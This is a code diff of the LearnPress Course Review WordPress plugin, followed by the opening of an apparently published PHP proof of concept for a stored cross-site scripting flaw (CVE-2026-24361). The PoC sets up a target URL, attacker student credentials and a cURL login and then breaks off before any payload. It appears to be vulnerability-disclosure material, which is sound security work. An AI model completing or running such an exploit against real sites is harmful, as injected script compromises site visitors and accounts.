+	 * @param UserModel|false $userModel
+	 *
+	 * @return string
+	 */
+	public function html_btn_review( CourseModel $courseModel, $userModel ): string {
+		$html = '';
+
+		try {
+			if ( ! $userModel instanceof UserModel ) {
+				return $html;
+			}
+
+			if ( ! LP_Addon_Course_Review_Preload::$addon->check_user_can_review_course( $userModel, $courseModel ) ) {
+				return $html;
+			}
+
+			$section = [
+				'button'      => sprintf(
+					'<button class="write-a-review lp-button">%s</button>',
+					esc_html__( 'Write a review', 'learnpress-course-review' )
+				),
+				'wrapper'     => '<div class="course-review-wrapper">',
+				'form'        => self::instance()->html_form_review( $courseModel, $userModel ),
+				'wrapper_end' => '</div>',
+			];
+
+			$html = Template::combine_components( $section );
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $html;
+	}
+
+	/**
+	 * @param CourseModel $courseModel
+	 * @param UserModel $userModel
+	 *
+	 * @return string
+	 */
+	public function html_form_review( CourseModel $courseModel, UserModel $userModel ): string {
+		$html = '';
+
+		try {
+			if ( ! LP_Addon_Course_Review_Preload::$addon->check_user_can_review_course( $userModel, $courseModel ) ) {
+				return $html;
+			}
+
+			$html_stars = '';
+			for ( $i = 1; $i <= 5; $i++ ) {
+				$html_stars .= sprintf(
+					'<li class="choose-star" data-star="%d">
+						<span>%s</span>
+					</li>',
+					$i,
+					LP_Addon_Course_Review::get_svg_star()
+				);
+			}
+			$html_stars = sprintf(
+				'<ul class="review-stars">%s</ul>',
+				$html_stars
+			);
+
+			$section = [
+				'form'          => '<form class="review-form">',
+				'h4'            => sprintf(
+					'<h4>%s<a href="" class="close"><i class="lp-icon-close"></i></a></h4>',
+					esc_html__( 'Write a review', 'learnpress-course-review' )
+				),
+				'fields'        => '<ul class="review-fields">',
+				'field_title'   => sprintf(
+					'<li>
+						<label>%s <span class="required">*</span></label>
+						<input type="text" name="review_title"/>
+					</li>',
+					esc_html__( 'Title', 'learnpress-course-review' )
+				),
+				'field_content' => sprintf(
+					'<li>
+						<label>%s<span class="required">*</span></label>
+						<textarea name="review_content"></textarea>
+					</li>',
+					esc_html__( 'Content', 'learnpress-course-review' )
+				),
+				'field_rating'  => sprintf(
+					'<li>
+						<label>%s<span class="required">*</span></label>
+						%s',
+					esc_html__( 'Rating (click to choice)', 'learnpress-course-review' ),
+					$html_stars
+				),
+				'field_actions' => sprintf(
+					'<li class="review-actions">
+						<button type="button" class="lp-button submit-review" data-id="%d">%s</button>
+						<button type="button" class="lp-button close">%s</button>
+						<span class="error"></span>
+					</li>',
+					$courseModel->get_id(),
+					esc_html__( 'Add review', 'learnpress-course-review' ),
+					esc_html__( 'Cancel', 'learnpress-course-review' )
+				),
+				'fields_hidden' => '<input type="hidden" name="rating" value="0">',
+				'fields_end'    => '</ul>',
+				'form_end'      => '</form>',
+			];
+
+			$args = [
+				'id_url'                  => 'lp-submit-review-form',
+				'course_id'               => $courseModel->get_id(),
+				'html_no_load_ajax_first' => Template::combine_components( $section ),
+			];
+			/**
+			 * @uses self::submit_review()
+			 */
+			$callback = [
+				'class'  => CourseRatingTemplate::class,
+				'method' => 'submit_review',
+			];
+
+			// Set args for ajax to submit review
+			$html = TemplateAJAX::load_content_via_ajax( $args, $callback );
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $html;
+	}
+
+	/**
+	 * HTML for list reviews
+	 *
+	 * @param CourseModel $courseModel
+	 * @param UserModel|false $userModel
+	 * @param $settings
+	 *
+	 * @return string
+	 * @since 4.1.6
+	 * @version 1.0.2
+	 */
+	public function html_list_reviews( CourseModel $courseModel, $userModel, $settings ): string {
+		$html = '';
+
+		try {
+			$reviews_rs  = $settings['reviews_rs'] ?? [];
+			$total_pages = $reviews_rs['pages'] ?? 0;
+
+			$html_items = '';
+			$reviews    = $reviews_rs['reviews'] ?? [];
+			if ( empty( $reviews ) ) {
+				return $html;
+			}
+
+			foreach ( $reviews as $review ) {
+				$date_time_review = new LP_DateTime( $review->comment_date_gmt );
+
+				$section_info = apply_filters(
+					'learn-press/course-review/list-reviews/item-info/section',
+					[
+						'wrapper'                  => '<div class="review-content-right">',
+						'wrapper-info'             => '<div class="review-info">',
+						'wrapper-author-rated'     => '<div class="author-rated">',
+						'rated'                    => self::instance()->html_rated_star( $review->rate ?? 0 ),
+						'user-name'                => sprintf(
+							'<h4 class="user-name">%s</h4>',
+							$review->display_name ?? ''
+						),
+						'wrapper-author-rated_end' => '</div>',
+						'date'                     => sprintf(
+							'<div class="review-date">%s</div>',
+							$date_time_review->format( LP_DateTime::I18N_FORMAT )
+						),
+						'wrapper-info_end'         => '</div>',
+						'title'                    => sprintf(
+							'<h5 class="course-review-title">%s</h5>',
+							wp_kses_post( $review->title ?? '' )
+						),
+						'content'                  => sprintf(
+							'<div class="review-content">%s</div>',
+							wp_kses_post( $review->content ?? '' )
+						),
+						'wrapper_end'              => '</div>',
+					],
+					$review,
+					$courseModel,
+					$userModel,
+					$settings
+				);
+
+				$section_item = [
+					'li'     => '<li>',
+					'avatar' => sprintf(
+						'<div class="review-author">%s</div>',
+						get_avatar( $review->user_email ?? '' )
+					),
+					'info'   => Template::combine_components( $section_info ),
+					'li_end' => '</li>',
+				];
+
+				$html_items .= apply_filters(
+					'learn-press/course-review/list-reviews/item/section',
+					Template::combine_components( $section_item ),
+					$review,
+					$courseModel,
+					$userModel,
+					$settings
+				);
+			}
+
+			$section = apply_filters(
+				'learn-press/course-review/list-reviews/section',
+				array(
+					'wrapper'       => '<div class="course-reviews">',
+					'ul'            => '<ul class="course-reviews-list">',
+					'reviews'       => $html_items,
+					'ul_end'        => '</ul>',
+					'btn_load_more' => $total_pages > 1 ? sprintf(
+						'<button class="lp-button course-review-load-more"
+							id="course-review-load-more">%s
+						</button>',
+						esc_html__( 'Load more', 'learnpress-course-review' )
+					) : '',
+					'wrapper_end'   => '</div>',
+				),
+				$courseModel,
+				$userModel,
+				$settings
+			);
+
+			$html = Template::combine_components( $section );
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $html;
+	}
+
+	/**
+	 * HTML for show message if user has submitted review and it is awaiting approve
+	 *
+	 * @param CourseModel $courseModel
+	 * @param UserModel|false $userModel
+	 *
+	 * @return string
+	 * @since 4.1.6
+	 * @version 1.0.1
+	 */
+	public function html_unapprove( CourseModel $courseModel, $userModel ): string {
+		$html = '';
+
+		try {
+			if ( ! $userModel instanceof UserModel ) {
+				return $html;
+			}
+
+			// Get comments of user for course with comment_approved = 0
+			$args           = array(
+				'user_id' => $userModel->get_id(),
+				'post_ID' => $courseModel->get_id(),
+				'type'    => 'review',
+				'status'  => 'hold',
+			);
+			$comments_count = get_comments( $args );
+
+			if ( ! empty( $comments_count ) ) {
+				$html = sprintf(
+					'<div class="learn-press-message success">%s</div>',
+					__( 'Your review has been submitted and is awaiting approve.', 'learnpress-course-review' )
+				);
+			}
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $html;
+	}
+
+	/**
+	 * Get html tiny rating info
+	 *
+	 * @param CourseModel $course
+	 *
+	 * @return string
+	 * @since 4.1.6
+	 * @version 1.0.0
+	 */
+	public function html_tiny_rating_info( CourseModel $course ): string {
+		$html = '';
+
+		try {
+			$rating_info = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $course->get_id() );
+
+			wp_enqueue_style( 'course-review' );
+
+			$html_star = sprintf(
+				'<em class="fas lp-review-svg-star">%s</em>',
+				LP_Addon_Course_Review::get_svg_star()
+			);
+			$html      = sprintf(
+				'<div class="item-meta">
+					<div class="star-info">
+					<span class="ico-star">%s</span><span class="info-rating">%d/%d</span> %s
+					</div>
+				</div>',
+				$html_star,
+				$rating_info['rated'],
+				$rating_info['total'],
+				_n( 'Rating', 'Ratings', $rating_info['total'], 'learnpress-course-review' )
+			);
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $html;
+	}
+
+	/**
+	 * Render rating reviews
+	 *
+	 * @param CourseModel $courseModel
+	 * @param UserModel|false $userModel
+	 *
+	 * @return string
+	 * @since 4.1.6
+	 * @version 1.0.0
+	 */
+	public function html_rating_reviews( CourseModel $courseModel, $userModel ): string {
+		$html = '';
+
+		try {
+			ob_start();
+			LP_Addon_Course_Review_Preload::$addon->add_course_tab_reviews_callback();
+			$html_rating_reviews_main = ob_get_clean();
+
+			$section = [
+				'wrapper'     => '<div class="lp-rating-reviews-wrapper">',
+				'header'      => sprintf(
+					'<h3 class="item-title">%s</h3>',
+					esc_html__( 'Reviews', 'learnpress-course-review' )
+				),
+				'content'     => $html_rating_reviews_main,
+				'wrapper_end' => '</div>',
+			];
+
+			$html = Template::combine_components( $section );
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $html;
+	}
+
+	/**
+	 * Render rating reviews
+	 *
+	 * @param array $settings
+	 *
+	 * @return stdClass
+	 * @since 4.1.6
+	 * @version 1.0.0
+	 */
+	public static function render_rating_reviews( array $settings = [] ): stdClass {
+		$content          = new stdClass();
+		$content->content = '';
+
+		try {
+			$course_id   = $settings['course_id'] ?? 0;
+			$user_id     = $settings['user_id'] ?? get_current_user_id();
+			$userModel   = UserModel::find( $user_id, true );
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel instanceof CourseModel ) {
+				return $content;
+			}
+
+			$paged                  = $settings['paged'] ?? 1;
+			$reviews_rs             = learn_press_get_course_review( $courseModel->get_id(), $paged );
+			$total_pages            = $reviews_rs['pages'] ?? 0;
+			$settings['reviews_rs'] = $reviews_rs;
+
+			$section_course_rate = [
+				'wrapper'     => '<div class="course-rate">',
+				'average'     => self::instance()->html_average_rating( $courseModel ),
+				'detail'      => self::instance()->html_rating_detail( $courseModel ),
+				'wrapper_end' => '</div>',
+			];
+
+			$section = [
+				'wrapper'     => '<div class="learnpress-course-review lp-rating-reviews-wrapper">',
+				'header'      => sprintf(
+					'<h3 class="item-title">%s</h3>',
+					esc_html__( 'Reviews', 'learnpress-course-review' )
+				),
+				'rate'        => Template::combine_components( $section_course_rate ),
+				'btn-review'  => self::instance()->html_btn_review( $courseModel, $userModel ),
+				'unapprove'   => self::instance()->html_unapprove( $courseModel, $userModel ),
+				'reviews'     => self::instance()->html_list_reviews( $courseModel, $userModel, $settings ),
+				'wrapper_end' => '</div>',
+			];
+
+			$content->content     = Template::combine_components( $section );
+			$content->paged       = $paged;
+			$content->total_pages = $total_pages;
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Submit review
+	 *
+	 * @param array $settings
+	 *
+	 * @return stdClass
+	 * @since 4.1.6
+	 * @version 1.0.0
+	 */
+	public static function submit_review( array $settings = [] ) {
+		$content             = new stdClass();
+		$content->status     = 'error';
+		$content->content    = '';
+		$settings['user_id'] = get_current_user_id();
+		$submit_rs           = LP_Addon_Course_Review_Preload::$addon->submit_review( $settings );
+		if ( $submit_rs instanceof WP_Error ) {
+			$content->content = $submit_rs->get_error_message();
+		} else {
+			$content->status  = 'success';
+			$content->content = __( 'Your review has been submitted and is awaiting approve.', 'learnpress-course-review' );
+		}
+
+		return $content;
+	}
+}
--- a/learnpress-course-review/inc/load.php
+++ b/learnpress-course-review/inc/load.php
@@ -1,630 +1,630 @@
-<?php
-/**
- * Plugin load class.
- *
- * @author   ThimPress
- * @package  LearnPress/Course-Review/Classes
- * @version  3.0.2
- */
-
-// Prevent loading this file directly
-use LearnPressCourseReviewCourseReviewCache;
-use LearnPressCourseReviewCourseReviewWidget;
-use LearnPressCourseReviewDatabasesCourseReviewsDB;
-use LearnPressModelsCourseModel;
-use LearnPressModelsUserItemsUserCourseModel;
-use LearnPressModelsUserModel;
-
-defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'LP_Addon_Course_Review' ) ) {
-	/**
-	 * Class LP_Addon_Course_Review.
-	 */
-	class LP_Addon_Course_Review extends LP_Addon {
-		public $version         = LP_ADDON_COURSE_REVIEW_VER;
-		public $require_version = LP_ADDON_COURSE_REVIEW_REQUIRE_VER;
-		public $plugin_file     = LP_ADDON_COURSE_REVIEW_FILE;
-		public $text_domain     = 'learnpress-course-review';
-
-		/**
-		 * @var string
-		 */
-		private static $comment_type = 'review';
-
-		const META_KEY_RATING_AVERAGE = 'lp_course_rating_average';
-		const META_KEY_ENABLE         = '_lp_course_review_enable';
-
-		public static $instance = null;
-
-		/**
-		 * Get instance class.
-		 *
-		 * @return LP_Addon_Course_Review|null
-		 */
-		public static function instance() {
-			if ( is_null( self::$instance ) ) {
-				self::$instance = new self();
-			}
-
-			return self::$instance;
-		}
-
-		/**
-		 * LP_Addon_Course_Review constructor.
-		 */
-		public function __construct() {
-			parent::__construct();
-			$this->hooks();
-		}
-
-		/**
-		 * Define Learnpress Course Review constants.
-		 *
-		 * @since 3.0.0
-		 */
-		protected function _define_constants() {
-			define( 'LP_ADDON_COURSE_REVIEW_PATH', dirname( LP_ADDON_COURSE_REVIEW_FILE ) );
-			define( 'LP_ADDON_COURSE_REVIEW_PER_PAGE', apply_filters( 'learn-press/course-review/per-page', 5 ) );
-			define( 'LP_ADDON_COURSE_REVIEW_TMPL', LP_ADDON_COURSE_REVIEW_PATH . '/templates/' );
-			define( 'LP_ADDON_COURSE_REVIEW_URL', untrailingslashit( plugins_url( '/', __DIR__ ) ) );
-		}
-
-		/**
-		 * Include required core files used in admin and on the frontend.
-		 *
-		 * @since 3.0.0
-		 */
-		protected function _includes() {
-			require_once LP_ADDON_COURSE_REVIEW_PATH . '/inc/functions.php';
-			// Rest API
-			require_once LP_ADDON_COURSE_REVIEW_PATH . '/inc/rest-api/jwt/class-lp-rest-review-v1-controller.php';
-			require_once LP_ADDON_COURSE_REVIEW_PATH . '/inc/rest-api/class-rest-api.php';
-			// Background
-			require_once LP_ADDON_COURSE_REVIEW_PATH . '/inc/background/class-lp-course-review-background.php';
-		}
-
-		/**
-		 * Init hooks.
-		 */
-		protected function hooks() {
-			// Enqueue assets.
-			add_action( 'wp_enqueue_scripts', array( $this, 'frontend_assets' ) );
-			add_action( 'learn-press/admin-default-styles', array( $this, 'admin_enqueue_assets' ) );
-			add_filter( 'learn-press/course-tabs', array( $this, 'add_course_tab_reviews' ), 5 );
-			// Clear cache when update comment. (Approve|Un-approve|Edit|Spam|Trash)
-			add_action(
-				'wp_set_comment_status',
-				function ( $comment_id ) {
-					$comment = get_comment( $comment_id );
-					if ( ! $comment ) {
-						return;
-					}
-
-					$post_id = $comment->comment_post_ID;
-					$user_id = $comment->user_id;
-					if ( LP_COURSE_CPT !== get_post_type( $post_id ) ) {
-						return;
-					}
-
-					$courseReviewCache = new CourseReviewCache( true );
-					$courseReviewCache->clean_rating( $post_id, $user_id );
-				}
-			);
-			add_filter(
-				'learnPress/prepare_struct_courses_response/courseObjPrepare',
-				[
-					$this,
-					'rest_api_courses',
-				],
-				10,
-				2
-			);
-			// Add setting field to course.
-			add_filter(
-				'lp/course/meta-box/fields/general',
-				function ( $fields, $post_id ) {
-					$fields[ self::META_KEY_ENABLE ] = new LP_Meta_Box_Checkbox_Field(
-						esc_html__( 'Enable reviews', 'learnpress-course-review' ),
-						esc_html__( 'Show reviews for this course', 'learnpress-course-review' ),
-						'yes'
-					);
-
-					return $fields;
-				},
-				10,
-				2
-			);
-
-			$this->init_comment_table();
-			$this->calculate_rating_average_courses();
-
-			// Add widget
-			add_action(
-				'learn-press/widgets/register',
-				function ( $widgets ) {
-					$widgets[] = CourseReviewWidget::instance();
-
-					return $widgets;
-				}
-			);
-
-			/**
-			 * Frontend: exclude course review from comment default of WP.
-			 *
-			 * @param $wp_comment_query WP_Comment_Query
-			 */
-			add_action(
-				'pre_get_comments',
-				function ( &$wp_comment_query ) {
-					if ( is_admin() ) {
-						return;
-					}
-
-					$post_id = $wp_comment_query->query_vars['post_id'];
-					if ( ! $post_id ) {
-						return;
-					}
-
-					$courseModel = CourseModel::find( $post_id, true );
-					if ( ! $courseModel instanceof CourseModel ) {
-						return;
-					}
-
-					$wp_comment_query->query_vars['type__not_in'] = self::$comment_type;
-				}
-			);
-		}
-
-		/**
-		 * Admin assets.
-		 * @since 4.0.0
-		 * @version 1.0.1
-		 */
-		public function admin_enqueue_assets( $styles ) {
-			$is_rtl = is_rtl() ? '-rtl' : '';
-			$min    = '.min';
-			$v      = LP_ADDON_COURSE_REVIEW_VER;
-			if ( LP_Debug::is_debug() ) {
-				$v   = rand();
-				$min = '';
-			}
-
-			$styles['course-review'] = new LP_Asset_Key(
-				$this->get_plugin_url( "assets/dist/css/admin{$is_rtl}{$min}.css" ),
-				[],
-				[ 'edit-comments', LP_COURSE_CPT ],
-				0
-			);
-
-			return $styles;
-		}
-
-		/**
-		 * Single course assets.
-		 *
-		 * @since 4.0.0
-		 * @version 1.0.2
-		 */
-		public function frontend_assets() {
-			$is_rtl = is_rtl() ? '-rtl' : '';
-			$min    = '.min';
-			$v      = LP_ADDON_COURSE_REVIEW_VER;
-			if ( LP_Debug::is_debug() ) {
-				$v   = rand();
-				$min = '';
-			}
-
-			wp_register_style(
-				'course-review',
-				$this->get_plugin_url( "assets/dist/css/course-review{$is_rtl}{$min}.css" ),
-				[],
-				$v
-			);
-			wp_register_script(
-				'course-review',
-				$this->get_plugin_url( "assets/dist/js/course-review{$min}.js" ),
-				[],
-				$v,
-				[ 'strategy' => 'async' ]
-			);
-
-			// For case load AJAX on tab "Courses", "My Courses" of LearnPress.
-			if ( LP_Page_Controller::is_page_profile() ) {
-				wp_enqueue_style( 'course-review' );
-			}
-		}
-
-		/**
-		 * Check if not register style, load style inline.
-		 *
-		 * @return void
-		 * @since 4.1.2
-		 * @version 1.0.0
-		 */
-		public function check_load_file_style() {
-			// Check if has action, this action add to LearnPress on v4.2.7.2
-			if ( has_action( 'learn-press/widget/before' ) ) {
-				return;
-			}
-
-			$is_rtl = is_rtl() ? '-rtl' : '';
-			$min    = '.min';
-			if ( LP_Debug::is_debug() ) {
-				$min = '';
-			}
-			$file_style = LP_Addon_Course_Review_Preload::$addon->get_plugin_url( "assets/css/course-review{$is_rtl}{$min}.css" );
-			?>
-			<style id="lp-course-review-star-style">
-				<?php echo wp_remote_fopen( $file_style ); ?>
-			</style>
-			<?php
-		}
-
-		public function init_comment_table() {
-			//wp_enqueue_style( 'course-review', LP_ADDON_COURSE_REVIEW_URL . '/assets/css/course-review.css' );
-
-			add_filter( 'admin_comment_types_dropdown', array( $this, 'add_comment_type_filter' ) );
-
-			add_filter( 'comment_row_actions', array( $this, 'edit_comment_row_actions' ), 10, 2 );
-		}
-
-		public function edit_comment_row_actions( $actions, $comment ) {
-			if ( ! $comment || $comment->comment_type != 'review' ) {
-				return $actions;
-			}
-			unset( $actions['reply'] );
-
-			return $actions;
-		}
-
-		public function add_comment_type_filter( $cmt_types ) {
-			$cmt_types[ self::$comment_type ] = __( 'Course review', 'learnpress-course-review' );
-
-			return $cmt_types;
-		}
-
-		public function add_course_tab_reviews( $tabs ) {
-			$course = CourseModel::find( get_the_ID(), true );
-			if ( ! $course ) {
-				return $tabs;
-			}
-
-			if ( ! $this->is_enable( $course ) ) {
-				return $tabs;
-			}
-
-			$tabs['reviews'] = array(
-				'title'    => __( 'Reviews', 'learnpress-course-review' ),
-				'priority' => 60,
-				'callback' => array( $this, 'add_course_tab_reviews_callback' ),
-			);
-
-			return $tabs;
-		}
-
-		/**
-		 * Callback for course tab reviews.
-		 *
-		 * @return void
-		 * @since 4.0.0
-		 * @version 1.0.1
-		 */
-		public function add_course_tab_reviews_callback() {
-			$course_id   = get_the_ID();
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( empty( $courseModel ) ) {
-				return;
-			}
-
-			$userModel = $courseModel::find( get_current_user_id(), true );
-			do_action( 'learn-press/course-review/rating-reviews', $courseModel, $userModel );
-		}
-
-		/**
-		 * Get rating of course.
-		 *
-		 * @param int $course_id
-		 *
-		 * @return array
-		 * @since 4.0.6
-		 * @version 1.0.0
-		 */
-		public function get_rating_of_course( int $course_id = 0 ): array {
-			$courseReviewCache = new CourseReviewCache( true );
-			$rating            = [
-				'course_id' => $course_id,
-				'total'     => 0,
-				'rated'     => 0,
-				'items'     => [
-					5 => [
-						'rated'         => 5,
-						'total'         => 0,
-						'percent'       => 0,
-						'percent_float' => 0,
-					],
-					4 => [
-						'rated'         => 4,
-						'total'         => 0,
-						'percent'       => 0,
-						'percent_float' => 0,
-					],
-					3 => [
-						'rated'         => 3,
-						'total'         => 0,
-						'percent'       => 0,
-						'percent_float' => 0,
-					],
-					2 => [
-						'rated'         => 2,
-						'total'         => 0,
-						'percent'       => 0,
-						'percent_float' => 0,
-					],
-					1 => [
-						'rated'         => 1,
-						'total'         => 0,
-						'percent'       => 0,
-						'percent_float' => 0,
-					],
-				],
-			];
-
-			try {
-				$rating_cache = $courseReviewCache->get_rating( $course_id );
-				if ( false !== $rating_cache ) {
-					return json_decode( $rating_cache, true );
-				}
-
-				$courseReviewsDB = CourseReviewsDB::getInstance();
-				$rating_rs       = $courseReviewsDB->count_rating_of_course( $course_id );
-				if ( ! $rating_rs ) {
-					throw new Exception();
-				}
-
-				$rating['total'] = (int) $rating_rs->total;
-				$total_rating    = 0;
-				for ( $star = 1; $star <= 5; $star ++ ) {
-					$key = '';
-					switch ( $star ) {
-						case 1:
-							$key = 'one';
-							break;
-						case 2:
-							$key = 'two';
-							break;
-						case 3:
-							$key = 'three';
-							break;
-						case 4:
-							$key = 'four';
-							break;
-						case 5:
-							$key = 'five';
-							break;
-					}
-
-					// Calculate total rating by type.
-					$rating['items'][ $star ]['rated']   = $star;
-					$rating['items'][ $star ]['total']   = (int) $rating_rs->{$key};
-					$rating['items'][ $star ]['percent'] = (int) ( $rating_rs->total ? $rating_rs->{$key} * 100 / $rating_rs->total : 0 );
-
-					// Sum rating.
-					$count_star    = $rating_rs->{$key};
-					$total_rating += $count_star * $star;
-				}
-
-				// Calculate average rating.
-				$rating_average = $rating_rs->total ? $total_rating / $rating_rs->total : 0;
-				if ( is_float( $rating_average ) ) {
-					$rating_average = (float) number_format( $rating_average, 1 );
-				}
-				$rating['rated'] = $rating_average;
-
-				// Set cache
-				$courseReviewCache->set_rating( $course_id, json_encode( $rating ) );
-			} catch ( Throwable $e ) {
-				if ( ! empty( $e->getMessage() ) ) {
-					LP_Debug::error_log( $e );
-				}
-			}
-
-			return $rating;
-		}
-
-		/**
-		 * Calculate rating average all courses.
-		 * For case user upgrade plugin (not install First)
-		 * Apply new feature - filter course rating, need param from meta to compare.
-		 * For a long time will remove this function.
-		 *
-		 * @return void
-		 * @since 4.1.2
-		 */
-		public function calculate_rating_average_courses() {
-			if ( ! is_admin() ) {
-				return;
-			}
-
-			$is_calculated = get_option( 'lp_calculated_rating_average_courses' );
-			if ( ! empty( $is_calculated ) ) {
-				return;
-			}
-
-			update_option( 'lp_calculated_rating_average_courses', 1 );
-			$params = [ 'handle_name' => 'calculate_rating_average_courses' ];
-			LPCourseReviewBackGround::instance()->data( $params )->dispatch();
-		}
-
-		/**
-		 * Set rating average for course
-		 *
-		 * @param int $course_id
-		 * @param float $average
-		 *
-		 * @return void
-		 * @since 4.1.2
-		 * @version 1.0.0
-		 */
-		public static function set_course_rating_average( int $course_id, float $average ) {
-			update_post_meta( $course_id, LP_Addon_Course_Review::META_KEY_RATING_AVERAGE, $average );
-		}
-
-		/**
-		 * Get SVG star.
-		 *
-		 * @return string
-		 * @since 4.1.2
-		 * @version 1.0.1
-		 */
-		public static function get_svg_star() {
-			$path_default = LP_ADDON_COURSE_REVIEW_PATH . '/assets/images/svg-star.svg';
-			$path         = realpath( apply_filters( 'learn-press/course-review/svg-star', $path_default ) );
-			if ( ! $path ) {
-				$path = $path_default;
-			}
-
-			return file_get_contents( $path );
-		}
-
-		/**
-		 * Hook get rating for API of APP.
-		 *
-		 * @param stdClass|mixed $courseObjPrepare
-		 * @param CourseModel $course form LP v4.2.6.9
-		 *
-		 * @return stdClass|mixed
-		 * @since 4.1.3
-		 * @version 1.0.0
-		 */
-		public function rest_api_courses( $courseObjPrepare, CourseModel $course ) {
-			$courseObjPrepare->rating = learn_press_get_course_rate( $course->get_id() );
-
-			return $courseObjPrepare;
-		}
-
-		/**
-		 * Check course review is enable.
-		 *
-		 * @param CourseModel $course
-		 *
-		 * @return bool
-		 * @since 4.1.5
-		 * @version 1.0.0
-		 */
-		public function is_enable( CourseModel $course ): bool {
-			$enable = $course->get_meta_value_by_key( self::META_KEY_ENABLE, 'yes' );
-
-			return 'yes' === $enable;
-		}
-
-		/**
-		 * Get average rating of course.
-		 *
-		 * @param CourseModel $course
-		 *
-		 * @return float
-		 * @since 4.1.5
-		 * @version 1.0.0
-		 */
-		public function get_average_rated( CourseModel $course ): float {
-			return (float) number_format( (float) $course->get_meta_value_by_key( LP_Addon_Course_Review::META_KEY_RATING_AVERAGE, 0 ), 1 );
-		}
-
-		/**
-		 * Check user can review course.
-		 *
-		 * @param UserModel $user
-		 * @param CourseModel $course
-		 *
-		 * @return bool
-		 * @since 4.1.5
-		 * @version 1.0.0
-		 */
-		public function check_user_can_review_course( UserModel $user, CourseModel $course ): bool {
-			$can_review = false;
-
-			$userCourse = UserCourseModel::find( $user->get_id(), $course->get_id(), true );
-			if ( $userCourse &&
-				( $userCourse->has_enrolled_or_finished() || ( $course->is_offline() && $userCourse->has_purchased() ) )
-				&& ! learn_press_get_user_rate( $course->get_id(), $user->get_id() ) ) {
-				$can_review = true;
-			}
-
-			return $can_review;
-		}
-
-		/**
-		 * Submit review
-		 *
-		 * @param array $data
-		 * key courseModel
-		 * key userModel
-		 * key rating
-		 * key review_title
-		 * key review_content
-		 *
-		 * @return bool|WP_Error
-		 * @since 4.1.6
-		 * @version 1.0.0
-		 */
-		public static function submit_review( array $data ) {
-			$flag = false;
-
-			try {
-				$course_id = $data['course_id'] ?? false;
-				$user_id   = $data['user_id'] ?? false;
-				$rating    = $data['rating'] ?? 0;
-				$title     = $data['review_title'] ?? '';
-				$content   = $data['review_content'] ?? '';
-
-				$courseModel = CourseModel::find( $course_id, true );
-				if ( ! $courseModel instanceof CourseModel ) {
-					throw new Exception( esc_html__( 'Course is invalid!', 'learnpress-course-review' ) );
-				}
-
-				$userModel = UserModel::find( $user_id, true );
-				if ( ! $userModel instanceof UserModel ) {
-					throw new Exception( esc_html__( 'User is invalid!', 'learnpress-course-review' ) );
-				}
-
-				if ( empty( $rating ) ) {
-					throw new Exception( esc_html__( 'Rating is requirement!', 'learnpress-course-review' ) );
-				}
-
-				if ( empty( $title ) ) {
-					throw new Exception( esc_html__( 'Title is not empty!', 'learnpress-course-review' ) );
-				}
-
-				if ( empty( $content ) ) {
-					throw new Exception( esc_html__( 'Content is not empty!', 'learnpress-course-review' ) );
-				}
-
-				if ( ! LP_Addon_Course_Review_Preload::$addon->check_user_can_review_course( $userModel, $courseModel ) ) {
-					throw new Exception( esc_html__( 'You can not submit review.', 'learnpress-course-review' ) );
-				}
-
-				$add_review = learn_press_add_course_review(
-					array(
-						'user_id'   => $userModel->get_id(),
-						'course_id' => $courseModel->get_id(),
-						'rate'      => $rating,
-						'title'     => $title,
-						'content'   => $content,
-						'force'     => true, // Not use cache.
-					)
-				);
-
-				if ( ! $add_review instanceof WP_Error ) {
-					$flag = true;
-				} else {
-					throw new Exception( $add_review->get_error_message() );
-				}
-			} catch ( Throwable $e ) {
-				$flag = new WP_Error( 'lp_review_error', $e->getMessage() );
-			}
-
-			return $flag;
-		}
-	}
-}
+<?php
+/**
+ * Plugin load class.
+ *
+ * @author   ThimPress
+ * @package  LearnPress/Course-Review/Classes
+ * @version  3.0.2
+ */
+
+// Prevent loading this file directly
+use LearnPressCourseReviewCourseReviewCache;
+use LearnPressCourseReviewCourseReviewWidget;
+use LearnPressCourseReviewDatabasesCourseReviewsDB;
+use LearnPressModelsCourseModel;
+use LearnPressModelsUserItemsUserCourseModel;
+use LearnPressModelsUserModel;
+
+defined( 'ABSPATH' ) || exit;
+
+if ( ! class_exists( 'LP_Addon_Course_Review' ) ) {
+	/**
+	 * Class LP_Addon_Course_Revi

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24361 - LearnPress – Course Review <= 4.1.9 - Authenticated (Learnpress student+) Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2026-24361
 * Requires: WordPress with LearnPress Course Review plugin <= 4.1.9
 *          Authenticated user with learnpress student role or higher
 */

$target_url = 'http://target-wordpress-site.com';
$username = 'attacker_student';
$password = 'attacker_password';
$course_id = 123; // Target course ID

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login nonce and cookies
